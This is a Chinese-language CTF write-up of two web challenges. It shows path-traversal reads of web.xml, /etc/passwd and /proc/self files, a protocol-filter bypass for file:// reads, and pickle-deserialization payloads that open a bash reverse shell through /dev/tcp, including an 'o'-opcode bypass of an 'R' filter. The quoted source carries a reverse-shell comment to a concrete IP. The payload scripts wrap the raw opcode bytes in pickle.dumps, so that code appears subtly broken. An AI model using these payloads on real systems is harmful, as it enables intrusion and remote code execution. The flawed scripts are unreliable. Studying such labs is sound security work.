0x00 java_url
拿到題目,從題目看不出什么,只知道是java寫的,反復試了下,發現download過濾了flag關鍵字,既然可以下載文件,試了下任意文件下載,讀取到web.xml文件,從里面找到源碼文件路徑:
download?filename=../../../../WEB-INF/web.xml
在web.xml中看到com.test2.aaa1.download,急急忙忙去下載下來,看了半天沒找出來漏洞,沒看到上面那個真正有用的,錯失flag,下面是從大佬博客挖過來的testURL關鍵源碼:
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String tartget_url = req.getParameter("url");
String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
} else {
//如果第一個:前不是file|gopher|data,可以實現任意文件讀取
resp.getWriter().write(String.valueOf(getContent(tartget_url)));
}
}
於是構造payload,讀取flag:
/testURL?url=url:file:///flag # 常規繞過
/testURL?url=%00file:///flag # 抓包,%00截斷
0x01 ez_python
題目描述給了環境,是用的flask,於是嘗試SSTI,沒有成功,於是換了個思路,嘗試任意文件讀取,成功:
?pic=/etc/passwd
?pic=/proc/self/cmdline # 讀取到當前工作目錄:/app/app.py
?pic=/app/app.py # 讀取源碼
?pic=/proc/self/cwd/app/app.py # 也可以用cwd切換到當前工作目錄
- /proc目錄
/proc目錄通常存儲着進程動態運行的各種信息,本質上是一種虛擬目錄。如果查看非當前進程的信息,可以對pid進行窮舉,如果要查看當前進程,只需/proc/self/代替/proc/[pid]/即可。在cmdline中可以讀取到當前進程的工作目錄。
app.py:
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)# bash -i >& /dev/tcp/112.74.89.58/37051 0>&1
可以發現,check函數過濾了R指令。於是學習了下Python的反序列化,不能說是一知半解,就只能說是一竅不通了,於是手寫payload,使用'R'指令的常規版本:
import pickle
import base64
import os
s = b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
tR.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)
# 把s拆出來講一下:
cos # c<module>
system # <callable>
-- 引入os模塊中的system,並將其push到當前棧stack中
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"' # (<args>
-- 將當前棧stack存到前序棧metastack中,清空當前棧stack,再將String壓入當前棧stack
t
-- 將當前棧中的值(也就是上面的命令)pop出來並轉為tuple,把前序棧metastack還原到stack中,再將tuple壓入當前棧stack
R
--pop當前棧stack棧頂記為args、pop當前棧stack的棧頂記為f,執行f(args),將結果壓進當前棧stack中
. # tR.
--.代表結束,返回當前棧頂元素
但很明顯,由於R指令被過濾,這樣的payload會被服務器過濾,於是使用o指令繞過的版本:
import pickle
import base64
import os
s = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
o.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)
# 把s拆出來講一下:
(cos # (c<module>
system # <callable>
-- 引入os模塊中的system,並將其push到前序棧stack中
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"' # <agrs>
-- 將String壓入前序棧metastack
o
-- 將前序棧metastack中的值push到棧stack中,並創建實例化對象os.system('bash ...')
. # o.
--.代表結束,返回當前棧頂元素
抓包,將payload寫入到Cookie['user']中,反彈shell。